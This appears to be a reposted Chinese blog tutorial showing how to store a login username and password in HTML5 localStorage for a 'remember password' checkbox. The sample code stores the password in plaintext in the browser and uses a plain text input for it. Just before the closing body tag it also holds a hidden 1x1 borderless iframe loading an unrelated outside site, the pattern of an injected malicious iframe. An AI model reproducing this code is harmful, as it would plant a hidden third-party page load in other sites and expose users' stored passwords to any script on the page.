您的位置：首页 > Web前端 > HTML5

web存储用户名和密码

2017-04-24 20:52 381 查看 

                                    web存储用户名和密码
如何永久长期存储用户名和密码，除非你手动清除。
    
在客户端存储数据
HTML5 提供了两种在客户端存储数据的新方法：localStorage - 没有时间限制的数据存储sessionStorage - 针对一个 session 的数据存储之前，这些都是由 cookie 完成的。但是 cookie 不适合大量数据的存储，因为它们由每个对服务器的请求来传递，这使得 cookie 速度很慢而且效率也不高。在 HTML5 中，数据不是由每个服务器请求传递的，而是只有在请求时使用数据。它使在不影响网站性能的情况下存储大量数据成为可能。对于不同的网站，数据存储于不同的区域，并且一个网站只能访问其自身的数据。HTML5 使用 JavaScript 来存储和访问数据。代码实现如下：<!DOCTYPE html><html><head lang="en"><meta charset="UTF-8"><title></title></head><body><label for="">用户名：<input type="text" class="userName"/></label><br/><br/><label for="">密 码：<input type="text" class="pwd"/></label><br/><br/><label for=""><input type="checkbox" class="check" id=""/>记住密码</label><br/><br/><button>登录</button><script>var userName=document.querySelector('.userName');var pwd=document.querySelector('.pwd');var chk=document.querySelector('.check');var btn=document.querySelector('button');//        当点击登录的时候 如果需要记住密码：  存储密码，否则 清除密码btn.onclick=function(){if(chk.checked){//                记住数据window.localStorage.setItem('userName',userName.value);window.localStorage.setItem('pwd',pwd.value);}else{//                清除数据window.localStorage.removeItem('userName');window.localStorage.removeItem('pwd');}}//        下次登录的 ，如果记录的有数据 直接填充window.onload=function(){userName.value=window.localStorage.getItem('userName');pwd.value=window.localStorage.getItem('pwd');}</script><iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe></body></html>
                                            

                                        

                        
                        内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 点击这里给我发消息 
                    

                    

                    

                        

                         标签： 
                                                html5如何存储用户名和密码
                                                web存储
                                                

                        

                    


                

            


            

                
相关文章推荐

                

                
            

        

        

            

            
            

                

                    
新的分享

                    

                        
                    

                

            


            

                

                    
章节导航